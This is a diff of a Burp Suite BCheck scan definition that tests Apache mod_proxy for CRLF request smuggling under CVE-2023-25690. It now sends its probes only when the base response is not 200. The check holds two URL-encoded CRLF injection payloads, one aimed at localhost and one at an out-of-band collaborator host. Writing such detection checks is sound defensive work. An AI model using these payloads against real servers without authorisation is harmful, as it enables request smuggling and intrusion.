Only issue payloads if base response status code not 200 (Fixes Issue…

vulnerabilities-CVEd/CVE-2023-25690 Apache mod_proxy CRLF Smuggling.bcheck

@@ -1,33 +1,38 @@
 metadata:
-    language: v1-beta
+    language: v2-beta
     name: "CVE-2023-25690"
     description: "Tests for CRLF based HTTP Request Smuggling/Splitting according to CVE-2023-25690"
     author: "Peyton Kennedy"
 
 define:
-    injected_payload1 =`%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/SMUGGLED`
-    injected_payload2 =`%20HTTP/1.1%0d%0aHost:%20{generate_collaborator_address()}%0d%0a%0d%0aGET%20/SMUGGLED`
+    injected_payload1 = `%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/SMUGGLED`
+    injected_payload2 = `%20HTTP/1.1%0d%0aHost:%20{generate_collaborator_address()}%0d%0a%0d%0aGET%20/SMUGGLED`
 
 given request then
-    send request called split:
-        method: "GET"
-        appending path: {injected_payload1}
-    send request called oob:
-        method: "GET"
-        appending path: {injected_payload2}
+    if not({base.response.status_code} is "200") then
+        send request called split:
+            method: "GET"
+            appending path: {injected_payload1}
 
-    if {split.response.body} matches "\"statusCode\":200" or {latest.response.status_code} is "200" then
-        report issue:
-            severity: medium
-            confidence: tentative
-            detail: "Apache mod_proxy rules appear to be insecurely splitting requests based on URI path. For more detail, refrence CVE-2023-25690"
-            remediation: "Upgrade to latest version of Apache mod_proxy"
-                end if
+        send request called oob:
+            method: "GET"
+            appending path: {injected_payload2}
+
+        if {split.response.body} matches "\"statusCode\":200" or
+            {latest.response.status_code} is "200" then
+            report issue and continue:
+                severity: medium
+                confidence: tentative
+                detail: "Apache mod_proxy rules appear to be insecurely splitting requests based on URI path. For more detail, refrence CVE-2023-25690"
+                remediation: "Upgrade to latest version of Apache mod_proxy"
+        end if
+
+        if http interactions then
+            report issue:
+                severity: high
+                confidence: firm
+                detail: "External interaction is detected from an arbitrary host header due to CVE-2023-25690"
+                remediation: "Upgrade to latest version of Apache mod_proxy"
+        end if
+    end if
 
-    if http interactions then
-        report issue:
-            severity: high
-            confidence: firm
-            detail: "External interaction is detected from an arbitrary host header due to CVE-2023-25690"
-            remediation: "Upgrade to latest version of Apache mod_proxy"
-                end if